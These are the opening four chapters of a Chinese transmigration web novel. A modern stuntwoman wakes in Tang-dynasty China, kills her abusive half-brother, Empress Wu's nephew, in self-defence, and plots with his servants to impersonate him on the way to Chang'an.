《长安第一纨绔》 1. 001 春雷轰隆一声。 崩然而落。 雨,却没有在这前不着村后不着店的山道上,噼啪落下。 只有空气里的沉闷黏腻,凝结成了草木上含而未落的积露。 …… “嘶——” 祝以灵险些以为,这道雷直接劈在了她的身上。 要不然她怎么会头痛欲裂,头皮张拉出的胀痛,扯得她一阵寒噤。 一张尤带血色的脸,被人死死地按进了草丛之中。 她下意识地发出一声变调的闷哼,却先被湿润的道旁野草堵住了嘴。 可也正是这唇齿间擦过的一点甘霖露水,滚入了喉咙中,强行唤醒了她的神志。 与此同时,一道怒火勃然的男声,炸响在了她的背后。 “你有什么胆子敢这么跟我说话!不过是一个寄养在我家的外室子,连郭姓都没混上,还敢说我起居无仪,庸俗卑下。” 男人的声音因为拔高的音调,莫名尖细:“贱种!” 祝以灵来不及分辨这到底是什么情况。 为什么前一刻她还在剧组当武替,从忽然断裂的威亚上掉了下来,下一刻她就会出现在这里。 耳朵里钻进来的山野风声还有男人的斥骂,都带着一种荒诞的怪异。 这种怪诞,在她像是本能地张口而出一句“不可理喻”时,达到了顶峰。 偏偏她来不及细究,已经听到了一种对她来说并不陌生的动静。 那是有人甩出鞭子,向她抽过来的声音。 马鞭破空,呼呼作响。 祝以灵的眼前还糊着一层血色,鼻息之间铁锈味十足,根本来不及看清楚太多,只凭借着经验,向着一旁滚了开来。 下一刻,鞭子抽在了她左手边的草丛上。 毫不留情的劲风抽得草屑草汁四溅。 !!! 这人是来真的! 祝以灵在心中倒抽了一口冷气。 来不及为自己躲开这一下而庆幸。 她强撑着睁开有些冒金星的眼皮,终于看到,自己的手已经和印象中完全换了个模样。 虽然依然不算纤细。 但是,她原本的手,是练习散打留下的伤痕,而非如眼前这两只手一样,是冻疮和老茧带来的微微肿胀。 她对身体的操纵灵活度也大不如前。 实在是……在强压下了环境突变和遇袭的恐惧过后,她感觉到了一种从肠胃发出的饥饿控诉。 什么鬼啊! 她好像不仅穿越了,还穿越到了一个小倒霉蛋身上。 “你还敢躲!” 祝以灵心中的种种想法迸发,在眼前也只不过是一瞬而已。 后方的男人看着挥空的一鞭彻底怒了。 他直接狠狠地压了上来,以膝盖顶住了祝以灵的后背,然后将手中的鞭子抓成了一个绳圈,套上了她的脖颈。 在做出这狂悖之举的时候,临行前正在病中的父亲对他的嘱托,已经全部被他抛到了脑后。 一想到祝以灵是为何要做男儿打扮,以外室子而非外室女的身份养在府里,他就只觉自己的自尊心被人举着火把炙烤。 那也别怪他借题发挥,把这个同父异母的“弟弟”毒打一顿。 让他在进京之前知道,谁才是说话有分量的人! 他咬着牙,把鞭子往后拉拽。 平日里,他没少用这样狠辣的手腕教训自己的仆从,知道用多大的力道勒不死人,却能让人呼吸困难,自觉濒临死境,只能拼命向他求饶。 可此刻正被鞭子勒住的祝以灵不知道啊。 她以为,这是对方恼羞成怒之后的又一记杀招。 而她只能死死地抓着鞭子,将一只手强行塞在“绳套”与脖颈之间,延缓勒颈的力量到来。 另一只手则试图摸索着周围,确认自己和后方之人间的距离。 她惜命! 如果……如果她真是因威压出事而穿越了,那么谁知道,如果她在此刻被人勒死了,还有没有第二次人生重来的关系。 可窒息的阴影依然强势袭来,让她眼前的金星都被白光所取代。 然而也就是在这险些失去意识的当口,她的眼前忽然闪过了一道陌生的画面。 祝以灵看到,画面的主人仔细地将身上有些陈旧的衣服打理到体面,然后将一把用于防身的短刀,挂在了腰间。 她瞪大了眼睛。 刀! 蹀躞带上的刀。 那只还在被人忽略的,仿佛是在扑地挣扎的手,抓住了腰间的刀。 确认手中有利器可用,祝以灵深吸了一口气,用咬破舌尖的刺痛,积攒起了一点力气。 她的脚以一种常人难以办到的方式,往后一勾,勾在了身后之人的皂靴之上,整个人借力向侧面拧身而翻。 突如其来的惊变,让抓着鞭子的手,也有片刻的松开。 更是让祝以灵半边身子离开了地面,抽刀而出。 皮质刀鞘和刀身,发出了一阵迅疾的摩擦,却因为材质的原因,没有发出特别大的动静,更是被祝以灵抢先一步发出的一声惨叫给压了过去。 她的手又稳又快,直接将这把抽出的刀,送进了后方男人的侧腰。 “你——” 对方的手,在这袭至腰间的剧痛面前,终于松了开来。 祝以灵哪敢让对方找到还击的机会,一肘向后,用松开鞭子的那只手击中了男人的下颌。 手中的刀更是同时拔出,在转身、夺鞭的同时,送进了对方的胸膛。 然后迅速地拔出了刀,用尽力气握在自己的手中。 在这一刻,瞪大了眼睛,目光惶然的,终于变成了对方。 祝以灵也终于哆嗦着嘴唇,抹开了眼上的血水,看清对方的样子。 …… 这人约莫只有十七八岁的年纪,模样秀丽,甚至称得上是美艳。 可再如何漂亮,也没法改变这就是个恶徒的事实。 祝以灵也更多地将视线放在了他的衣着上。 他穿着一件青色的圆领窄袖袍。 虽然此刻,从胸口和腰间都在不断地向外流淌出血水,浸染出了大片的污痕,但仍能看出他衣料厚实,最外层应是绢布,在袖口和衣领处,都用银线绣着小团花暗纹,在阴沉而错乱的光线里微微反光。 远比祝以灵身上那条富贵的蹀躞带上,挂着一条青玉石饰链,以及一枚锦缎佩囊。 这是一名……富家公子。 < p>更准确地说,是一名唐朝前期装束打扮的,富家公子! 而现在,随着祝以灵毫不犹豫地抽刀而出,没了刀身堵住伤口,他嘴唇失色,双眼一翻,直接倒了下去,不知死活。 祝以灵往后,退了一步,手也随之抖了一抖。 不,没什么大不了的。 就当是在剧组里,用特效武器“打死”的群演。 她一边用这样的话劝说自己冷静下来,克制住了在渐浓郁的血腥味里生出的作呕冲动,一边,极力开动着脑筋,思索着自己应该怎么办。 富家子……富家子出行,当然不可能只有他一个人! 在最初的生死危机过去后,她的耳朵终于能够听到更远的地方。 比如说,远处的正在交谈的男声,一道压抑着哭腔的女音,发出哞声的牛叫,躁动的马蹄子刨地声。 ——大概率不是她一个被称为“外室子”的人的同伴,而是这位富家子的仆从。 她在眨眼间就做出了一个决定,跑! 跑得越远越好。 此刻的情况根本就来不及多想,她揣起了刚刚见血的刀,就向着人声传来的反方向冲了出去。 祝以灵跑动间,还是没忍住大骂了一声贼老天。 她这人除了爱看点颜色文解压,什么坏事都没干过,拿着微薄的工资也没忘记好好交税,到底为什么会遇上穿越这种事,还是这种破烂开局。 这具身体应该不能算娇养,还是做了点粗活的,但愣是有种平时只吃素的筋骨无力感,都还没跑出多远,就有一种横膈膜很难打开的呼吸局促。 头上的伤口更是不知道有多大,反正时不时就让她的眼前一阵阵地发晕。 让她只能确定的是,她还没真晕过去。 比如现在,就能清醒地听到,在后方她跑出来的方向,有人发出了一声尖叫。 然后,是一声与又一道雷鸣一并响起的“杀人了!” 祝以灵能怎么办? 她也只能没命地往前跑,寻找前方有没有能够躲藏的地方。 但紧追在身后的分拨草丛、大步踩踏的速度来得太快了。 就在她决定拼命一把,从眼前的斜坡直接滚下去的前一刻,一只手抢先一步,迅猛地抓住了她的肩头,把她往后一带一掀。 祝以灵揣着的刀还没有还击的机会,就已经先被夺走,然后她人也被一左一右架住她的人往回拖拽,直到被带回到了—— 那个男人的尸体面前。 …… 确实是…… 尸体。 此刻有两名仆从惨白着脸,将他从俯卧倒下的状态,翻成了仰躺,一次次地试探他的鼻息、心跳、脉搏,却都没能得到一个想要的答案。 已经变得青白的死人脸色,逐渐显露出可怖的模样。 祝以灵闷哼一声,被摔在了地上。 下一刻,便有一道依稀有点熟悉的女声,随着人影扑到了她的面前,“小郎君!” 可她人都还没蹲稳当,就被人用脚踹到了一边。 祝以灵抬头,便对上了一张怒火充斥着面容的国字脸:“你怎么敢——” “你怎么敢杀了他!” 又是一道电光,照亮了此地的狰狞与混乱。 2. 002 山的另一侧,好像已经传来了阴雨落下的声音。 而在山的这一侧,风卷起了道边碎草,扑簌簌地砸在人的脸上。 临近黄昏的天色,被覆盖下来的层云,堆得越发阴沉。 却还比不上围拢在祝以灵身边这些人的脸色。 祝以灵也趁着此刻的对峙,又留意起了周边的情况。 刚才,为了试图止住那个男人身上两记刀伤流出来的血,他的仆从把马车拉拽了过来,从车下扯出了捆扎的行李,几个箱子散在地上还未收回。 从其中一个破开的箱子里掉出了数件衣服,都与那个死人身上穿的,是相似的材质。 双轮马车的材质平平,四周用竹篾围挡,上头是扎实的拱形车篷,蓬外罩着一层厚实的毡布,但轮圈的木料用得很厚实,外缘箍着的铁条加工细密,放在古代的背景里绝没有那么简单。 可一想到,她现在的身份,好歹也是被死人叫过外室子的,她心中又积攒回了一点底气。 在其他人眼中。 被推倒在地的少年面色憔悴,额头的伤口已经隐约结成了血痂,也不知道是额上的血,还是嘴角的血,把这一双惯来向下看的眼睛,都给点亮得通红。 血丝蔓延的眼睛里,闪烁着一缕决绝。 “是他先要我的命!怎么我可以死,他就不能死了吗!” 国字脸的壮汉一把抓起了她的衣领,将人也拎了起来:“他是什么身份,你又是什么身份!他是当今皇后的外甥!而你呢?” “那杀都杀了,又能如何呢?死刑三复奏的铁律摆着,你们再气也不能直接杀了我。” “你!” 壮汉愕然间手上一松,让人倒回了地上。 “……你简直是疯了。” 疯了! 破罐子破摔,光脚烂命一条的人,比什么样的人都可怕。 那重新瘫坐的少年,甚至在嘴角挂着一缕讥诮的笑容,像是全无所谓,自己也要给那个被杀死的人陪葬。 以至于此刻焦头烂额,担忧性命不保的,反而变成了别人。 却没人看见,祝以灵的拳头在身侧缓缓收紧,并没有指甲突出的指尖死死地掐着掌心,才维持住了此刻的冷静。 他没否认。 没有否认死刑三复奏的说法。 这起码证明了,她现在不仅处在一个衣着与唐朝相似的地方,律法也是隋朝之后的背景。 这还是她在一部唐朝仵作题材的电视剧里当武替时,恰好记住的东西。 县府初审,刑部复审,皇帝签字,秋冬行刑。 不是提把刀砍了脖子就完事的。 有这句律法的保护在前,她应该不会被直接在荒郊野外被扭断脖子。 鼓噪乱跳的心脏也终于从喉咙口缓缓落了下来,让她有了余力,继续留意起了那边的动静。 “真个驴日狗草的,现在怎么办!”那壮汉块头是大,对祝以灵动手也快,但人是懵的。 他甚至在想,自己要不要也跟刚才祝以灵做的那样,直接跑了算了。 可逃又能逃到哪里去。 朝廷历年都有括寻逃亡隐户的行为,隐蔽于山林也非长久之道。 但若不逃…… “这是皇后的外甥!”他又重复了一遍。 这一次不是用来打压祝以灵的身份,而是在跟自己,以及自己的同伙说。 另一个瘦些的仆从,也是一派如丧考妣的表情,烦躁地张口就说:“用不着你再提醒,咱们就算把这杀人的扭送回太原,皇后问责下来,郭家也保不住我们这些家生子。” 他在这一刻恨上的,不仅是动手捅刀的祝以灵,还有发疯也不分个时辰的郭郎君。 不知道狗急了还会跳墙吗?非要把人逼迫到这个地步。 也怪这小儿出身运道属实是好。 父亲郭孝慎出自太原郭氏,官职不高,但挂靠着点名门关系,便与寻常小吏不同,早年间在长安任职时,还与那阳翟郭将军不知怎么就攀上了关系。 更好运的是,他娶回来的武氏女虽然早亡,却有个极争气的姐姐。 这姐姐先入了先帝的后宫,在先帝过世后随其余无子妃嫔一并进了感业寺,本也是把路走完了,自此隐遁尘世,却偏偏另有一番造化,又被当今这位陛下接入宫中,一路扶摇直上,甚至在那王皇后被废黜后被册立为后。 可说是再传奇也不过了。 去年二月,陛下与皇后同临并州晋阳,大宴并州父老,在文水祭祖时,还曾过问两句这位妹夫与外甥。 到了今年更是不得了。 从长安来的贵人说,皇帝陛下的头风病患了,竟是让皇后帮扶着一并处理政务,如此一来,这皇后便何止是贵,还有大权在手。 民间是有些传闻,说皇后代行朝政,实是骇人听闻、匪夷所思,可朝廷向外宣称,宫苑之中有神龙现世,实是暂缓征讨、太平降临的吉兆。于是将年号改为龙朔,以应证此说。 连带着这位郭氏小儿也从中得了福荫,被征召到长安去一睹天颜。 可现在他死了,死在了半路上! “龙朔龙朔……对别人是祥瑞,对我们真是哪儿都背运!”瘦高个的那个,暴躁地在这里来回走了个趟儿。“到时候别人入京都是送礼报喜,唯独我们……我们说什么?” 说皇后您的外甥实在不当人,半路想要打杀同父异母的弟弟,结果还被人家反杀了。 到时候想要让皇后少涉朝政的要盘问他们,谴责他们护主不力的郭氏要送他们去论罪,皇帝皇后更是要因为这染血的吉兆弄死他们了。 “我呸,你们窝囊个什么!”原本看管马车的另外一人实在是在这压抑的天色和压抑的气氛中受不了了,悍然从行囊中抽出了一把朴刀,对着祝以灵就要砍将下来。 那国字脸壮汉脸色大变,一步冲上前来,钳住了他的手腕。 在这一番对撞下,两个人都蹬蹬往后退了数步。 “你作甚!他疯你也疯了吗?” 那原本被踹倒在一旁的婢女尖叫一声,却不是在这举朴刀欲砍的当口逃命躲开,而是扑到了祝以灵的身上。 有些面黄肌瘦的小姑娘眼眶里蓄着泪,扭头争道:“若不是郭大郎君欺人,何至于此!若不是小 郎君想争个公道,也不至于有了这误杀!你们为何还要杀小郎君泄愤。” “误杀?”拎着刀的男人面容扭曲了一瞬,“是误杀还是卑位者犯上罪加一等,是那些贵人才能决定的事情。” 跟他们这些升斗小民有什么关系。 他一刀没劈出去,那积攒起来的一口气,也就散了,恼怒地把手中的朴刀当啷一声丢在了地上。 要不是知道对方不会给她这个机会,祝以灵真想冲上去,直接把刀捡起来。 但她只是哑着嗓子发问:“贵人,谁是贵人……武后吗?” “那还用说?” 哈…… 祝以灵忽然低声笑了出来,直笑得让挡在她前面的婢女都后退了两步,疑心她是不是在这杀人之后的巨大压力中真的疯了。 可祝以灵知道,她才没疯,她是在笑,自己刚才的那句发问,居然又赌对了。 在听到他们说起龙朔那个年号的时候,结合眼前的唐朝打扮,祝以灵心中冒出了一个离谱而又大胆的猜测。 而在武后二字并未得到否认,证明了当今皇后确实姓武时,她的猜测竟是得到了进一步的确认。 哪个武后? 唐高宗李治元朔年间的武后,就是后来的武周皇帝武则天! 那她刚刚杀了的是谁? 祝以灵拼命地在记忆中检索。 武皇家里的三姐妹中,除了她之外,还是姐姐在影视剧和各种二创作品中比较出名,妹妹过世得早,就没什么名气。依稀记得是嫁给了一个姓郭的。 郭……郭大郎君?又对上了! 祝以灵终于迟来一步地确认,自己不是穿越到了一个衣着与唐朝相似的地方,而就是穿越到了唐朝。穿成了武则天的外甥的异母姐妹。 呃,虽然不知道为什么婢女管她叫小郎君,但她的身体构造应该是没有发生变化才对,在身前还有着布帛裹缠的胸闷感。 可在判断出身份的下一刻,祝以灵又有种仰头骂贼老天的冲动了。 别人穿越到这个时期,不是武皇的姐妹就是女儿,再不行也能当个近臣,她是什么?她开局拿着一把刀,捅死了武皇的外甥,即将接受死刑三复奏。 祝以灵狠命地闭了一下眼睛,睁眼所见的画面,依然没有任何的改变。 既成事实,别妄想了。 她现在是个杀人犯。 得罪的,还是当今的皇后,未来的天后,甚至是未来的皇帝……嗯,等等! 祝以灵忽然一怔。 方才生死一线之间,她的眼前闪过的那一幕画面里,并不仅有原身腰佩匕首的动作,还有那张略显憔悴却又暗藏刚毅的脸。 而如果她没有看错的话,那是一张,与地上死尸相似度不低的脸。 她的视线一帧一帧地挪了过去,与闭上眼睛的尸体相对。 触目惊心的血色,让她的求生欲在一瞬间攀升到了顶峰。 祝以灵的喉咙艰难地吞咽了一下,从中挤出了声音。 “不是要去叩见皇后姨母,恭祝元朔昌隆吗?” “……他做得,我为何做不得?” 3. 003 全场安静了一下。 祝以灵甚至能清楚地听到,自己因为负伤而有些粗重的呼吸声。 直到一个声音爆发在了五步之外。 “你!你说什么?” 祝以灵的一句“皇后姨母”,把在场的所有人都吓得不轻。 已死的郭大郎君郭升云,是武后亲妹妹的儿子,叫一声皇后姨母,没有任何的问题,可她呢? 她有什么资格说出这句话。 更让那出言质询的国字脸壮汉没想到的,是祝以灵的反应。 “我在说什么?” 她眼帘一垂,像是意识到了自己这话说得有多胡来。 却在下一刻跳了起来,上前两步,从那一堆散落在地的衣服中,抓起了一件黑底金花的半臂与一件锦缎襕袍,胡乱地比划在了身上。 “我在说这个!” 她脸颊泛着不正常的红晕,牙关打颤带起了脸颊的一瞬抖动。 “说什么杀了贵人就要死,你们也要随同着吃瓜落,那就让那个麻烦的贵人还活着不就好了吗?” 她灼灼有神的眼睛里,闪烁着让人避让的寒光。 又好像那只是翻滚的江潮中,向外探出的一只溺水者的手,在视线中一闪而过。 “我——我不能顶替他身份吗?穿上罗衣,谁还管是什么人。” 国字脸倒抽了一口冷气。“这话你也敢说……” “那总比死了好!” 喑哑的嗓音里,带着斩钉截铁。 祝以灵抱着那件襕袍,站着,又重复了一遍:“比死了好。” 国字脸像是被撞了一下,张了张口,没再接出话来。 他的第一反应也不再是将祝以灵按回去,免得她做出什么怪异的举动。 而是觉得,自己可能也被这意外逼疯了,居然真的思索起了这种操作的可行性。 先说身形。 先天有些不足的郭升云时年十七,与成年男子相比矮了一截,倒是祝以灵在府中伺候病患,粗重的话干了不少,反而长个子更早些。 两兄弟相差一岁,身高却相差无几。 欠了些的腰围,完全可以用绑布帛填塞的方式补够。 再说相貌。 二人并非同母所出,但模样都偏秾丽明艳,眉眼的颜色极重,轮廓鲜明。 原本一个跋扈一个内敛,看起来还没有那么相似。 可现在,他不得不承认,祝以灵这扒着衣服就往身上套的癫狂,竟是意外地和郭升云平日所为重叠在了一起。 就这一刻,出奇得像! 如果用脂粉掩盖住她脸上的黄气,用好一些的药膏消去她手上过于明显的伤疤,可能还真能冒牌一下那个死鬼…… “糊涂!你还真被这家伙带着走了?” 拿过朴刀的那个男人眼见国字脸眼神发直,一巴掌就拍在了他的后脑,“咱们要真敢干出这种事,一旦被揭穿,就真的是死路一条。现在押解着人去报官,或许还有一线生机。” “生机……”国字脸苦笑连连,“要是别的时候,我可能还真的相信你这句话,但现在是什么时候?是龙朔——” 刚刚改了年号的龙朔。 哪有皇帝会想在吉庆之时,听到这种消息。 不如真试一试这偷天换日之法,蒙混过关后再过一段时日,再从中脱身,那也比现在就远遁山野,要可行得多。 朴刀男沉默了。 不仅沉默,他还顺着国字脸转过去的视线,一起看向了那个瘦高个。 “怎么说……?” 一道道视线聚集过来。 瘦高个凝重地咬牙,又重重地点了一下头:“干了!” 祝以灵紧绷着的后背肌肉,终于在这决定性的一句出现的时候,松弛了下来。 她看得出来,这几人对她并没有多少信任,更没将她当做是个主家,但起码现在,她们已经被求活的利益暂时绑定在了一起。 她也暂时从当场就要面临牢狱之灾的困境中解脱了出来。 可祝以灵也很清楚,这也只是暂时而已。 要装成这个姓郭的,光换个衣服还远远不够! 她连续数下开张着手指,缓了缓压力,然后抬起了脚步。 “毁尸灭迹的事情我们来。”朴刀男伸手,拦住了她的去路。 祝以灵目光淡淡地看向他,像是没听懂他这句话里的话外之音。“在毁尸灭迹之前,是不是应该先让我,把他身上的特征再摸一遍?把他身上的配饰也解下来?” 朴刀男和国字脸对视了一眼,后者摇了摇头。 祝以灵面前让开了一条路。 只听到身后低声的议论。 “平日里还真没看出来有这样的胆量。” “……都现在这样了,还是有胆量更好些。” 但是,这是不是也太有胆量了? 那具死人的躯体,被捅死他的人先是干脆利落地解开了蹀躞带,小心地将它,连同挂在上面的小刀、火石袋、解绳锥和算囊一起,放到了一边。 然后彻底剥掉了他的外衣,只剩了里面的圆领交襟中衣。 紧接着,他从头到脚,都被祝以灵摸了一遍。 哪怕渗出来的鲜血,把她的指尖染成了红色,也并没能让她停下这个摸索的行为。 “你倒是百无禁忌。”国字脸走到她身边,开口。 天地君亲师的礼法等级下,诞生的律令条文,也是天然倾向于维护这个秩序的,亲属之间以下杀上,在刑律之中罪加一等。 杀了人还提出这种取代想法,可说是大逆不道至极了。 祝以灵僵硬地扯了扯嘴角:“现在我就是他,还有什么禁忌可言?” 起先闻到血腥味的作呕,已经变成了一种微微麻木的情绪。 她指尖停顿了一下,摸到死人的右侧小腿处,有一点不太对劲的凸起。 “郭郎君三年前从马背上摔下来过一次,接上了骨还是有影响。平日在外可能看不太出来,发力一重就明显。” 声音从她背后传来。 话是那朴刀男说的。 祝以灵心中想着,这三个扈从当中,好像就属此人行事最偏激,但也属他最聪明。 现在正是合作的时候,祝以灵不必和他藏着掖着,转头就问:“还有什么你知道,我不一定知道的东西,劳烦一起说了吧。” 朴刀男迟疑了一下,还是说道:“非要说的话,就是还有一个传闻了。” * “嘶……”祝以灵牙齿里挤出了一道气音。 “我轻一点我轻一点。”自称叫做小江的婢女慢下了手里的动作。 但祝以灵头上的伤口确实有点严重,偏偏她还忍着伤口不处理,先把郭升云的遗物一件件拆解了下来,又着重检查了那人的体貌特征,直到现在,才有了料理自己伤势的时间。 微微结痂的伤口中还混着泥土和草屑,在上药之前,必须先清理出来。 可这也就意味着,要将凝固的血块剥离撕裂开来。 祝以灵相当庆幸,自己穿越前学武术,习惯了这种磕磕碰碰,穿越后的身体虽然孱弱 ,但也不是那种完全经不起摧折的弱,现在这点痛,完全在她能接受的范围内。 倒是面前可能都不满十五岁的婢女眼眶里蓄了一包泪,只是没敢直接落下来。 祝以灵但凡演技好点,应该在现在掉下点眼泪,和眼前这个毫无防备的姑娘抱头痛哭,把自己想知道的消息骗出来。 但她显然表演功力平平,就只伸手,拍了拍小江的手背,嘴角上抬出了一道尴尬而不失礼貌的弧度。 “没事的,这不是还活着吗?” 小江愣了一下,眼神里水光滚了滚,“哇”的一声直接哭了出来。 祝以灵是真的不会应对这种场面。 肩膀处有个毛茸茸的脑袋哭得直抽,细细碎碎的声音从缝隙里飘了出来,要不是祝以灵和她的距离够近,估计都听不到这几声。 “夫人要是早知道……小娘子……这种日子,肯定不会让……接走。” “现在……” 现在名义上,祝以灵这个人已因兄长苛待逃亡而走,如果京中真的有人会问起她去向的话就这么交代,剩下的只有祝以灵扮演的郭升云。 而郭升云的脸被朴刀划开,去掉了所有能辨认出身份的衣物,套了件扈从的麻衣,丢下了附近的一处深邃山涧。 “现在我活着,但是再不处理伤口的话可能就要感染、高烧然后在半路上一命呜呼了。” 哭声戛然而止。 小江慢吞吞地动了一下,然后脑袋猛地一收,连带着整个人都后退到了车壁上,抓过了一旁的东西继续清理伤口。 道旁采摘的凫公英,混着行囊中原本就备着的跌打药,涂在了伤口表层。 伤口处还有轻微的刺痛,很快又被一点清凉的感觉所取代。 那种让人眼前冒金星的昏沉感,也被驱散了不少。 祝以灵平复了一下呼吸,在有些逼仄的马车车厢内更换上了新的衣服,把从郭升云身上拆下的蹀躞带套到了自己的身上。 一枚鹿角韘也被套到了她的手指上。 马车旁没有挂着弓箭,不能确定郭升云到底是只将这枚扳指一般的东西,当成了自己手上的装饰,还是这个人射箭水平有一手。 但可以确定的是,他的另一件武器,也就是那条用来抽人用来勒脖子的鞭子,现在已经变成了祝以灵佩挂在腰边的道具。 然后是他的鞋子。 那是一双从行李中翻出来的新皮靴。 祝以灵伸手进去摸了摸,就发觉这双新鞋也和那双从死人脚上脱下来的皂色长靴一样,在内里有一层增高。 这东西原本撑起了郭升云岌岌可危的自尊,现在则方便了祝以灵。 最后就是,原本属于郭升云的入京文书。 祝以灵缓缓翻开了那份包裹在封皮中的敕令文书。 一尺宽、二尺长的白麻纸被裱衬在缣帛之上,上面用简短的文字通传太原,皇后思忆旧人,值此改元祥瑞大喜之时,邀亡妹之子入京…… “临行前,郎主还叮嘱说,希望郭郎君在陛下殿下面前好好表现,若能凭借衣带关系就读弘文馆,便再好不过。” 小江努力回忆了一下,又想到了一件祝以灵可能忘记的事,开口说了出来。 可她不说也就算了,这话一出,祝以灵的神情就当场僵住了。 就读弘文馆? 啊这…… 她是能凭借着认字认半边的本领,辨识出这份公文上的楷书,但不代表她有写好字的能力! 她终于意识到了现在面临的最大挑战——她是半个文盲! 4. 004 只会看不会写的文盲,上来就要面临拜见天子、糊弄过关的艰苦重任…… 祝以灵的头,直接就开始痛了。 唯一让人庆幸的是,她后知后觉地意识到,她现在的说话方式与她穿越之前的并不相同,就像是穿越过来的那一撞,让她加载上了本土语音包,起码没在说话这一关就直接掉马。 试探性地和小江交流了两句,也确认下来,她本身的名字和穿越之前的名字并没有区别。 “没事的,”她在心里安慰自己,“死缓总比当场死要好。” 没逝的! 她把手中的文书重新收了起来,放在了马车座椅下方的收纳格里。 然后,她用小江递过来的透气麻布,把药液微干的伤口简单包扎了起来,起码打眼看去不是血刺呼啦的一团,又用脂粉掩去了面上的黄气,终于走下了马车。 马车外面已经彻底被夜色吞没。 风把积雨云往北边吹,先前眼见电闪耳闻雷鸣,雨却终究没有落下来。 倒是马车两丈多远的地方,点燃了一簇篝火,被夜风吹得动摇西晃的。 祝以灵刚刚下车,篝火堆旁边的三个人,就都看了过来。 见她大步走过来,朴刀男先开了口:“看起来还挺像回事。” 说不好到底是因为夜幕篝火,让人看起来与白日不同,还是真有人靠衣装马靠鞍一说,穿上郭升云衣服的祝以灵,和原本的样子变化当真不小。 不说别的,就说她的脊背都比之前要笔挺许多,走动间还有了点习武之人的气势。 黄麻缠着额头,唇色苍白的模样,没让她看起来落魄,反而有种病弱贵公子的风度。 已死的郭升云估计都没想到,他的这身衣服能在祝以灵的身上,穿出这样的效果。 甚至可以说,祝以灵此时的模样,要比郭升云更配太原郭氏几个字。 但她的身形依然有点瘦弱,被风一吹,更显出圆领袍里的空空荡荡来。 祝以灵的右手从腰间拿起了那把折成三叠的长鞭,在左手掌心拍了拍,漆黑的眼珠子在篝火火光的映照下,泛着点疯魔的赤红色。 但她只是在火堆旁坐了下来,和另外三人变成了四足鼎立的状态,没有闲得发慌,把鞭子在地上抽它两下。 祝以灵叹了口气,哑着喉咙开了口:“既然像回事,几位可否听我几句话?” 国字脸看她片刻:“你说。” 祝以灵的嘴角往上抬起了一点,慢吞吞地说道:“如果我要确保自己的身份免于暴露,等一入长安,我就该想办法除掉你们三个,是也不是?” “你在这儿胡言乱语些什么!” 瘦高个原本拿着根树枝正在拨弄篝火,一听这话,顿时把手里的粗枝往火堆上一拍,向外溅起了一蓬火星。 祝以灵的眼皮都没动一下,人也自然没挪窝:“我是在胡言乱语吗?我以为我在说你们的顾虑!” 她穿越前看过的真假千金文可不少,知道一句真理,叫做“事以密成,言以泄败”。 知道事情的人越少,越不容易暴露冒名顶替的罪案。 现在她替换郭升云身份的事,除了她之外,还足足有四个人知道,哪个嘴巴不牢靠一点,明天就能把消息捅出去,大家一起完蛋。 这是她的顾虑,也是火堆边上这三个人的顾虑。 她眉眼一厉:“咱们还没入京城,到那真正的虎狼之地,不现在把话摊牌来说,等到了那个时候再互相猜忌,岂不是步步破绽给别人看!” 瘦高个的动作为之一顿。 祝以灵这话说得属实在理。 “那你说怎么办?” 他们又不是什么同爹同妈的关系,谈什么信誉。 祝以灵毫不意外他的反应。 她右手仍拿着那支鞭子,左手却忽然五指合拢指天,“烦劳各位都如我一般立个重誓,也好叫大家确定,是一条船上的人,彼此可堪托付后背。” “我祝以灵而今冒领郭升云之名,只为活命,若为谋求富贵掩藏行迹,坑害在场几位助我成事之人,便叫我雷霆轰顶,死无全尸!” 她眼神定定,黑沉到有点莫名的阴森,咬字里却不带鬼气,只有一个字一个字的清晰:“轮到你们了。” 瘦高个脸颊动了动,像是在用后槽牙咬自己的脸颊肉,以思索清楚当下的情况。 倒是那先前拔刀极快的朴刀男,先开了口,比出了和祝以灵一样的发誓动作,“我秦四指天为誓,若为自行脱困,出卖在场诸位,便叫我雷霆轰顶,死无全尸,亲族受累,魂无居处!” 祝以灵现在知道他的名字了。 国字脸慢了一步,也举起了手,誓言和前两位说得差不多相同。 让她有点意外的是,这个国字脸也姓郭,叫做郭易。 具体是哪个字不知道,是不是被太原郭氏赐姓的,也不知道。 好歹不用再交谈起来哎呀喂的。 瘦高个赵如也跟着发了誓。 晚一步下车的小江呆呆地瞪大了眼睛,没料到自己下来后看到听到的会是这样的场面。 见所有人都看向了她,她也连忙磕磕绊绊地开口,把话重复了一遍。 祝以灵也是这会儿才知道,她自称小江,其实大名江盈。 等到江盈的最后几个字说完,祝以灵刚因为自己是个文盲的忐忑,终于回落了几分。 现在,她知道了自己这些合谋同伙的名字,也用一出摆在台面上的盟誓,暂时确保了外乱纷纷的情况下,内乱先别来。 那么有些话,也能问出来了。 她垂眸,拨弄了两下腰间的算囊,按着囊中属于郭升云的那枚私印,听着火光哔啵了两声,忽然像是惊醒一般,看向了朴刀男秦四。 “秦哥,你是赶马车的人,知不知道咱们入京是到何处落脚,有谁人接应?” 要是上来就遇到一个郭升云的熟人,一看人长得不对,当场报官了,那可全完犊子了。 秦四并不奇怪祝以灵会问出这个问题。 原本她就是个被强拽在队伍中的凑数,能少被郭升云欺凌,都得算是运气不错,哪里会留心抵达长安后何处落脚的事。 现在她是郭升云,就不得不弄明白这件要事。 “随朝中文书来太原的还有一封书信,出自阳翟郡公府上。告知郭郎君,待抵关中同州后,可在县衙以南的驿馆等人接应,自会有人领小郎君过东渭桥进长安。” 祝以灵破罐子破摔,毫不避讳地追问:“阳翟郡公是哪位?”秦四回答:“昔日追随太宗皇帝征讨定疆的郭孝恪郭将军,在今上继位后,为他追赠了阳翟郡公的爵位。这位郭将军生前好名喜财,与你父亲有过一段交情,可以算你堂叔。” “不过这份关系如今也没多大用处。十三年前,大唐兵马鏖战龟兹,阿史那将军领兵追击龟兹王,令郭将军留守。谁知,郭将军傲慢自得,轻视龟兹残部,被那国相率领城中降兵以及西突厥兵马杀得狼狈窜逃,中流矢身亡,长子也跟着他一起死了。” “先帝曾经觉得郭将军死得活该,不管人已亡故,也把他的官职夺了,只看在旧情的份上,举办了一场葬礼。倒是今上给他追封了阳翟郡公,还让人好生培养留下的小儿子。” “前年天子亲自策试举人,这位小郭郎君从千人中脱颖而出,被列为上等……如今的阳翟郡公府,正是他在主事。算起来,他今年也才二十岁出头。” 祝以灵把每一个字都听得认真。 也就是说,她要面对的第一关,是这位年纪轻轻就古代高考通关,飞升到御前办事的“堂兄”。 接应她的人,就是由这个智商不低的堂兄派来的。 反正一个问题也是问,两个问题也是问。 她顺便问了问秦四知不知道,和名叫郭待封的堂兄同一年中举的都有什么人,也好判定判定他这个身份的含金量。 